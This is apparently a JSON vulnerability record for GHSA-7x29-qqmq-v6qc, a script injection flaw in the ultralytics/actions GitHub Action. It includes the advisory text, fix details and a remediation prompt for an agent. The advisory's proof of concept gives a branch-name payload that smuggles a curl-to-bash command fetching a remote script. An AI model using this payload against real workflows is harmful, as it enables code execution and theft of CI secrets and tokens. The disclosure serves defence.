{"answers":{"affected":"1 open source package ship an affected version, including ultralytics/actions.","exploited":"There is no known exploitation of GHSA-7x29-qqmq-v6qc in the wild and no public exploit code.","fix":"Upgrade ultralytics/actions to 0.0.3 or later.","what":"GHSA-7x29-qqmq-v6qc is a code injection vulnerability in ultralytics/actions, published on 14 Aug 2024. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-7x29-qqmq-v6qc and fix it if it is affected.\n\nWhat it is: GHSA-7x29-qqmq-v6qc is a code injection vulnerability in ultralytics/actions, published on 14 Aug 2024. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-7x29-qqmq-v6qc in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- ultralytics/actions (GitHub Actions): affected all versions; fixed in 0.0.3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-7x29-qqmq-v6qc/ (Markdown: https://insights.sbomify.com/GHSA-7x29-qqmq-v6qc/index.md)","id":"GHSA-7x29-qqmq-v6qc","markdown":"https://insights.sbomify.com/GHSA-7x29-qqmq-v6qc/index.md","name":"GHSA-7x29-qqmq-v6qc","record":{"aliases":[],"analysis":{"component_type":"developer_tool","fix_type":"patch","impacts":["code_execution","data_read"],"network_reachable":"yes","non_default_config":true,"product_category":"GitHub Actions","requires_auth":"low_privilege","summary":"Attackers can execute arbitrary code in workflows using the Ultralytics action with pull_request_target triggers by injecting payloads into branch names.","user_interaction":"required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n        echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n        echo \"github.ref: ${{ github.ref }}\"\n        echo \"github.head_ref: ${{ github.head_ref }}\"\n        echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.","ecosystems":["GitHub Actions"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"GitHub Actions Script Injection in `ultralytics/actions`","id":"GHSA-7x29-qqmq-v6qc","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"GitHub Actions","product":null,"products":[],"type":"code_injection","year":"2024"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"GitHub Actions","fixed":["0.0.3"],"introduced":["0"],"last_affected":[],"package":"ultralytics/actions","purl":null,"source":"GHSA-7x29-qqmq-v6qc"}],"products":null,"published":"2024-08-14","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can execute arbitrary code in workflows using the Ultralytics action with pull_request_target triggers by injecting payloads into branch names.","url":"https://insights.sbomify.com/GHSA-7x29-qqmq-v6qc/"}